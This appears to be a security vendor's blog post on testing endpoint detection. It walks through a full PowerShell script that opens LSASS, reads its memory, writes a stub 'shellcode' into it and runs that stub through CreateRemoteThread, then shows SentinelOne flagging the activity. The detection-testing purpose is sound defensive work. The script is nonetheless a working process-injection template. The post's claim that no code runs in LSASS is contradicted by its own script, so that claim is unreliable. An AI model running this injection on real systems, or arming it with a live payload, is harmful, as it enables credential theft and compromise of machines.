Introduction
Attackers are increasingly relying on fileless techniques that operate entirely in memory, thereby evading traditional antivirus software and many legacy controls. As an adversary, the ability to simulate these tactics is crucial for evaluating the steadfast resilience of endpoint security solutions. SentinelOne, known for its behavioral detection capabilities, claims to catch these sophisticated movements. To put that to the test, we are sharing a specific PowerShell script that mimics real-world credential dumping and process injection.
In Guardz, we call it “To Purpleing everything”. The goal is to conduct penetration testing on any component across multiple scenarios and understand how security controls are detected.
Script Description
The script operates exclusively in memory, reflecting the tactics used by modern threat actors. It begins by obtaining a handle on the LSASS process, a prime target for credential harvesting. This step mirrors what tools like Mimikatz attempt when extracting credentials from memory. Next, the script tries to read a segment of LSASS memory. Although no sensitive data is accessed, this action is enough to trigger security analytics focused on process behavior rather than file signatures.
The simulation then escalates by allocating memory within the LSASS process and writing benign data to that space. This mimics the memory manipulation techniques seen in process injection attacks, where malicious code is typically written and executed in the address space of another process. In this case, no code is executed, and nothing ever touches the disk, ensuring the simulation is safe for controlled environments and does not pose a risk of actual compromise.
This approach enables security teams to validate whether their detection tools can identify and respond to genuine attacker tradecraft, not just commodity malware.
No Slack account needed.
The script
function Invoke-LSASSAttackSimulation {
<#
.SYNOPSIS
LSASS memory access + process injection + execution.
.WARNING
Use ONLY in controlled red team labs. Not safe for unauthorized use.
#>
$lsass = Get-Process -Name lsass -ErrorAction SilentlyContinue
if (-not $lsass) {
Write-Output “LSASS process not found.”
return
}
# Define Win32 interop only if not already defined
if (-not (“Win32” -as [type])) {
$sig = @”
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport(“kernel32.dll”, SetLastError = true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport(“kernel32.dll”, SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
[DllImport(“kernel32.dll”, SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(“kernel32.dll”, SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesWritten);
[DllImport(“kernel32.dll”)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport(“kernel32.dll”, SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
}
“@
Add-Type -TypeDefinition $sig
}
$PROCESS_ALL_ACCESS = 0x1F0FFF
$hProcess = [Win32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $lsass.Id)
if ($hProcess -eq [IntPtr]::Zero) {
Write-Output “Failed to open LSASS handle. Run as Administrator?”
return
}
Write-Output “Opened handle to LSASS.”
# Attempt real memory read (for EDR test, junk address)
$buffer = New-Object byte[] 256
$bytesRead = 0
$readAddr = [IntPtr]0x00400000 # Common readable address (harmless)
$readResult = [Win32]::ReadProcessMemory($hProcess, $readAddr, $buffer, $buffer.Length, [ref]$bytesRead)
if ($readResult) {
Write-Output “Read $bytesRead bytes from LSASS memory at $readAddr.”
} else {
Write-Output “ReadProcessMemory failed — AV/EDR or invalid memory region.”
}
# Dummy shellcode: NOP sled + RET
$shellcode = [byte[]] (
0x90, 0x90, 0x90, 0x90, 0xC3 # NOP NOP NOP NOP RET
)
# Allocate memory inside LSASS
$remoteAddr = [Win32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
if ($remoteAddr -eq [IntPtr]::Zero) {
Write-Output “VirtualAllocEx failed.”
[Win32]::CloseHandle($hProcess)
return
}
# Write shellcode to LSASS
$bytesWritten = 0
$writeResult = [Win32]::WriteProcessMemory($hProcess, $remoteAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if (-not $writeResult) {
Write-Output “WriteProcessMemory failed.”
[Win32]::CloseHandle($hProcess)
return
}
Write-Output “Wrote $bytesWritten bytes of shellcode to LSASS.”
# Create remote thread to execute shellcode
$tid = 0
$hThread = [Win32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $remoteAddr, [IntPtr]::Zero, 0, [ref]$tid)
if ($hThread -eq [IntPtr]::Zero) {
Write-Output “CreateRemoteThread failed. Execution not started.”
} else {
Write-Output “Shellcode executed in LSASS. Remote Thread ID: $tid”
}
[Win32]::CloseHandle($hProcess)
Write-Output “Simulation complete.”
}
# Run the attack simulation
Invoke-LSASSAttackSimulation
Script Highlights
- All actions are performed in-memory; no files are written or dropped to disk.
- Simulates real-world attacker TTPs: LSASS access, memory read, and process injection.
- Safe for lab use; does not access real credentials or execute code in LSASS.
- Run as a local administrator for full simulation and EDR visibility.
Mitigation Strategies
From a red team perspective, bypassing detection requires exploiting weaknesses in privilege management and process isolation. To counter these techniques, defenders should enforce least privilege across endpoints, ensuring that only necessary accounts have administrative access. Enabling features such as Credential Guard and LSASS Protected Process Light provides additional barriers against unauthorized memory access.
Regular patching is crucial for closing vulnerabilities that enable privilege escalation or process manipulation. Monitoring for unusual process behavior, especially when PowerShell or scripting engines interact with sensitive system processes, can provide early warning of an attack in progress. Implementing robust application control further limits the tools available to an attacker, reducing the risk of successful credential dumping or injection.
How SentinelOne Responds
SentinelOne leverages behavioral AI to detect the tactics used in this simulation. When the script attempts to open a handle to LSASS, SentinelOne’s agent recognizes the suspicious access pattern and raises an alert. Attempts to read or write memory in another process, particularly LSASS, are correlated with credential dumping and process injection techniques. The platform generates actionable alerts, providing visibility into the process tree and the sequence of actions taken.
This highlights how SentinelOne’s behavioral analytics can identify and alert on live memory attacks and process manipulation, even when the activity originates from legitimate tools in an interactive session.
Even though S1 has successfully mitigated the threat, this will not be the case for all endpoint security tools. Legacy antivirus vendors that rely on signatures would not catch such behaviors. And even some EDRs do not have the built in logic or AI adaptability to catch such tradecraft.
From the SentinelOne eyes
SentinelOne dashboard with suspicious actions, malware, etc.
This is how the SentinelOne dashboard allows you to show the incident, investigate and behave as an analyst.
The Endpoint view with the SentinelOne agent and its blocking status.
The script and the pop-up blocked
When the script runs, you can view the behavior from the endpoint and how SentinelOne tagged it.
Because the entire operation takes place in memory, traditional antivirus solutions are likely to miss it. SentinelOne’s in-memory analytics and real-time monitoring ensure that even fileless attacks are identified and stopped. Security teams can quickly investigate the alert, trace the activity back to its source, and initiate response actions such as isolating the endpoint or terminating the offending process.
By simulating these techniques, you can validate that SentinelOne’s detection and response capabilities are effective against the latest attacker tradecraft. Continuous validation is essential for maintaining a robust security posture in an environment where adversaries are constantly evolving.
